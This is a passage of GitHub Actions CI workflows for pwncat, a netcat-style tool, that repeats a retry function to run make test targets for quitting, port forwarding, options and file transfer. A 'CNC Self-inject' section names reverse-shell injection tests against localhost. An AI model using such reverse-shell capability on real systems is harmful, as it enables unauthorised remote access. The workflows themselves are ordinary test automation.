"${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-201 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Behaviour (Server) # ------------------------------------------------------------ - name: "[BEHAVIOUR] Server quits correctly 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-000 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-001 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-002 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 003" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-003 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 004" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-004 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-100 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-101 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 103" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-103 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 104" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-104 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-200 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-201 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Modes # ------------------------------------------------------------ - name: "[MODES] Local port forwarding" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-mode--local_forward env: RETRIES: 5 - name: "[MODES] Remote port forwarding" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-mode--remote_forward env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options # ------------------------------------------------------------ - name: "[OPTIONS] -n/--nodns" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--nodns env: RETRIES: 5 - name: "[OPTIONS] -C/--crlf" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--crlf env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options (keep open) # ------------------------------------------------------------ - name: "[OPTIONS] --keep-open 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-000 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-001 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-002 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-100 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-101 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-200 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-201 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 202" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-202 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options (reconn) # ------------------------------------------------------------ - name: "[OPTIONS] --reconn 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-000 env: RETRIES: 5 - name: "[OPTIONS] --reconn 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-001 env: RETRIES: 5 - name: "[OPTIONS] --reconn 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-002 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options # ------------------------------------------------------------ - name: "[OPTIONS] --ping-intvl" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--ping_intvl env: RETRIES: 5 - name: "[OPTIONS] --ping-word" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--ping_word env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Behaviour (File Transfer) # ------------------------------------------------------------ - name: "[BEHAVIOUR] File Transfer: send normal" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-base--file_transfer-send_normal env: RETRIES: 5 - name: "[BEHAVIOUR] File Transfer: send on eof" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-base--file_transfer-send_on_eof env: RETRIES: 5 # ------------------------------------------------------------ # Tests: CNC Self-inject # ------------------------------------------------------------ - name: "[CNC] Inject shell: pwncat as rev shell" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-pwncat env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte)" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (single byte)" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte) - delayed" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (single byte) - delayed" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed env: RETRIES: 2 pwncat-0.1.2/.github/workflows/test-x64-macos-pypy3.yml000066400000000000000000001215161414025024700227130ustar00rootroot00000000000000--- # https://help.github.com/en/actions/language-and-framework-guides/using-python-with-github-actions # https://github.com/actions/python-versions/blob/master/versions-manifest.json name: mac-py3 on: pull_request: push: branches: - master tags: jobs: test: runs-on: macos-latest strategy: fail-fast: False name: "[x64] [macos] python-pypy3" steps: # ------------------------------------------------------------ # Setup # ------------------------------------------------------------ - name: Checkout repository uses: actions/checkout@v2 - name: Set up Python uses: actions/setup-python@v2 with: python-version: pypy3 architecture: x64 - name: Set up PHP uses: shivammathur/setup-php@v2 with: php-version: '7.4' ini-values: max_execution_time=300 - name: "Setup /etc/hosts for Linux" shell: bash run: | if [ `uname` = "Linux" ]; then echo "\$ cat /etc/hosts" cat /etc/hosts echo ( echo "127.0.0.1 localhost"; echo "::1 localhost ip6-localhost ip6-loopback"; ) | sudo tee /etc/hosts echo echo "\$ cat /etc/hosts" cat /etc/hosts fi - name: Display Bash version shell: bash run: | bash --version whereis bash || true which bash || true - name: Display Python version shell: bash run: | python -c "import sys; print(sys.version)" whereis python || true which python || true - name: Display PHP version shell: bash run: | php --version whereis php || true which php || true - name: Resolve localhost shell: bash run: | echo echo "\$ host localost" host localhost || true echo echo "\$ python -c 'import socket;print(socket.gethostbyname(\"localhost\"))'" python -c 'import socket;print(socket.gethostbyname("localhost"))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None, socket.AF_INET))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None, socket.AF_INET))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None, socket.AF_INET6))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None, socket.AF_INET6))' || true # ------------------------------------------------------------ # Tests: Behaviour (Client) # ------------------------------------------------------------ - name: "[BEHAVIOUR] Client quits correctly 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-000 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-001 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-002 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 003" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-003 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 004" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-004 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-100 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-101 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 102" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; 